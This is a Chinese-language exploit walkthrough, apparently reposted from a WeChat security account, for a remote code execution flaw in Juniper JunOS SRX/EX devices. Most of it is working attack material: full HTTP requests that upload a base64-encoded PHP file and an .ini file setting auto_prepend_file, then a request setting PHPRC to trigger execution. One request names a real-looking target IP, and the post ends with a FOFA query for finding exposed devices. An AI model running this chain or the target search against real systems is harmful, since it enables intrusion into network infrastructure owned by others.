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漏洞影响范围
漏洞复现
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构造poc
将poc base64编码<?php echo 123;?> PD9waHAgZWNobyAxMjM7Pz4=并计算字符串长度：17构造payload：rs=do_upload&rsargs%5B0%5D=[{"fileData":"data:text/html;base64,PD9waHAgZWNobyAxMjM7Pz4=","fileName":"test.php","csize":17}
2.发送请求数据包获取
POST /webauth_operation.php HTTP/1.1Host:Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 123rs=do_upload&rsargs%5B0%5D=[{"fileData":"data:text/html;base64,PD9waHAgZWNobyAxMjM7Pz4=","fileName":"test.php","csize":17}]
出现如下数据代表漏洞存在
3.构造第二个请求数据包
获取上个返回数据包的文件名：b27264a90cfee371812c2888cf09d560c99dbbaaca652a6d270b49dffc7b05c0.php拼接路径：auto_prepend_file="/var/tmp/b27264a90cfee371812c2888cf09d560c99dbbaaca652a6d270b49dffc7b05c0.php"进行base64编码：YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wL2IyNzI2NGE5MGNmZWUzNzE4MTJjMjg4OGNmMDlkNTYwYzk5ZGJiYWFjYTY1MmE2ZDI3MGI0OWRmZmM3YjA1YzAucGhwIg==构造payload：rs=do_upload&rsargs[0]=[{"fileData":"data:plain/text;base64,YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wL2IyNzI2NGE5MGNmZWUzNzE4MTJjMjg4OGNmMDlkNTYwYzk5ZGJiYWFjYTY1MmE2ZDI3MGI0OWRmZmM3YjA1YzAucGhwIg==","fileName":"test.ini","csize":97}]
4.发送请求
POST /webauth_operation.php HTTP/1.1Host:4.227.247.131Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 228rs=do_upload&rsargs[0]=[{"fileData":"data:plain/text;base64,YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wL2IyNzI2NGE5MGNmZWUzNzE4MTJjMjg4OGNmMDlkNTYwYzk5ZGJiYWFjYTY1MmE2ZDI3MGI0OWRmZmM3YjA1YzAucGhwIg==","fileName":"test.ini","csize":97}]
出现如下数据代表漏洞存在
5.构造第三个数据包触发代码执行
GET /webauth_operation.php?PHPRC=/var/tmp/0a08e12bcfa86cdafc2eb73c5ebd31b5701786458a7efa2c43187408f6afaca5.ini{上一个数据包的文件名} HTTP/1.1Host:Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close
搜索语法
fofa：title=="Juniper Web Device Manager"
原文始发于微信公众号（小白菜安全）：Juniper JunOS SRX EX 远程命令执行漏洞
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